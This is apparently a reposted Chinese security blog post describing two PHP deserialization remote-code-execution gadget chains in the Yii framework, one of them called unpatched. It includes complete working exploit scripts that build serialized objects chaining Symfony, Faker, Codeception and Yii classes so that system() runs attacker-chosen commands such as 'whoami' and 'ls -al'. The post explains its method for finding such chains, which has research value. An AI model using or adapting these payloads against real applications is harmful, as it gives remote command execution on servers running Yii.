php5.5 反序列化利用工具_Yii框架反序列化RCE利用链2
Yii框架反序列化RCE利用鏈2(官方無補丁)
Author:AdminTony
1.尋找反序列化點
全局搜索__wakeup函數,如下:
找到\symfony\string\UnicodeString類,其__wakeup方法中調用了normalizer_is_normalized方法。
該方法要求傳入的內容是字符串。且$this->string可控,那么只要找到一條由__toString方法構造的利用鏈即可。
全局搜索__toString方法,尋找可用的點,最終找到:
($this->value)()這種形式,函數名可控,然后結合IndexAction類的run方法即可形成反序列化利用鏈。
最終利用鏈:
\yii\rest\IndexAction->run()\symfony\string\LazyString->__toString()\symfony\string\UnicodeString->stringnormalizer_is_normalized()\symfony\string\UnicodeString->__wakeup()2.構造payload
實例化\yii\rest\IndexAction類,設置其$checkAccess變量、$id變量和$config變量
實例化\symfony\string\LazyString類,設置其$value變量為IndexAction類和run方法數組
實例化\symfony\string\UnicodeString類,設置其$string變量值為LazyString類。
最終Exp:
<?php namespace Symfony\Component\String{ class UnicodeString{ public $string; } class LazyString{ public $value; }}namespace yii\rest{ class IndexAction{ public $id; public $controller; public $config; public $checkAccess; }}namespace { //use Symfony\Component\String; //use yii\rest; //1,'\yii\web\Controller',['modelClass'=>'\yii\db\BaseActiveRecord'] $indexAction = new yii\rest\IndexAction(); $indexAction->id = 'whoami'; // 修改執行的函數值,如whoami $indexAction->controller = '\yii\web\Controller'; $indexAction->config = ['modelClass'=>'\yii\db\BaseActiveRecord']; $indexAction->checkAccess = 'system'; // 修改執行的函數名,如system $lazyString = new Symfony\Component\String\LazyString(); $lazyString -> value =[$indexAction,"run"]; $unicodeStringObj = new Symfony\Component\String\UnicodeString(); $unicodeStringObj->string=$lazyString; var_dump(base64_encode(serialize($unicodeStringObj)));}效果如下:
Yii框架反序列化RCE利用鏈3(0day)
Author:AdminTony
挖到以后,去翻了下朋友圈,發現已經有師傅在昨天晚上公開了。
1.尋找__destruct方法
尋找__destruct方法的時候主要注意幾個點:
該__destruct方法中是否有call_user_func($this->test,[$this->arr])或者$this->test()類型的可控函數
該__destruct調用過程中,有沒有$this->reader->getUser()類型的調用,此類調用有兩種跳板選擇方法
找getUser函數,通過getUser函數找到一條代碼執行利用鏈
找__call函數,通過__call函數找到一條代碼執行利用鏈條
該__destruct調用過程中,是否能觸發其他魔法函數,比如test($this->tests),test函數要求傳入String類型參數時,如果我們設置的$this->tests是一個類,則會自動調用該類的__toString方法,然后從__toString找到一個反序列化利用鏈。
本著這幾點思路,開始尋找。
vendor/codeception/codeception/ext/RunProcess.php代碼片段:
__destruct方法中調用了stopProcess方法,該方法$process可控,從而形成$this->reader->getUser()類型調用,我們可以尋找isRunning函數的代碼作為跳板或者__call函數的代碼執行作為跳板。
2.尋找跳板
vendor/fzaninotto/faker/src/Faker/Generator.php代碼片段:
跟進format函數:
找到call_user_func_array,那么我們只需要讓$this->getFormatter($formatter)的結果是我們指定的函數即可。
也就是說,$this->formatters['isRunning']設置為想要執行的函數即可,而$arguments我們不可控。只能傳入一個對象做函數,借助[(new test),"run"]這樣的調用實現代碼執行。
正則:call_user_func[_\w+]*\(\$this->[_\$\w]*,\s*\$this-
這樣的可用類只有兩個IndexAction 和 CreateAction
代碼片段來源于:vendor/yiisoft/yii2/rest/IndexAction.php
從而形成一條反序列化RCE利用鏈。
3.Exp編寫
其實Exp編寫也是一項比較有意思的活。最開始我總是在controller里面直接實例化利用鏈里面的幾個類,發現還的分析__construct方法,看傳入的值,有時候父類太多一直調用parent::__construct也是挺煩的,后來這兩天看米斯特的奶權師傅直接重新定義了一個類,然后把必要的值傳入其中。試了下,這個方法真的好用,再也不用管__construct方法了。
說了這么多廢話,開始放EXP:
<?php // RunProcess->stopProess ->> $process->isRunning() -->> Generator->__call ->> IndexAction->runnamespace Codeception\Extension{ class RunProcess{ public $processes; }}namespace Faker{ class Generator{ public $formatters; }}namespace yii\rest{ class IndexAction{ public $checkAccess; public $id; } class UpdateAction{ public $checkAccess; public $id; }}namespace { //$indexAction = new yii\rest\IndexAction('whoami',1,["modelClass"=>'BaseActiveRecord']); $indexAction = new yii\rest\IndexAction(); $indexAction->id = 'ls -al'; $indexAction->checkAccess = 'system'; $generator = new Faker\Generator(); $generator->formatters = ["isRunning"=>[$indexAction,"run"]]; $runProcess = new Codeception\Extension\RunProcess(); $runProcess->processes = array($generator); //$runProcess->setProcesses(array($generator)); var_dump(base64_encode(serialize($runProcess)));}總結
以上是生活随笔為你收集整理的php5.5 反序列化利用工具_Yii框架反序列化RCE利用链2的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 格雷码、二进制码、BCD编码
- 下一篇: “创新”,我们应该如何去做?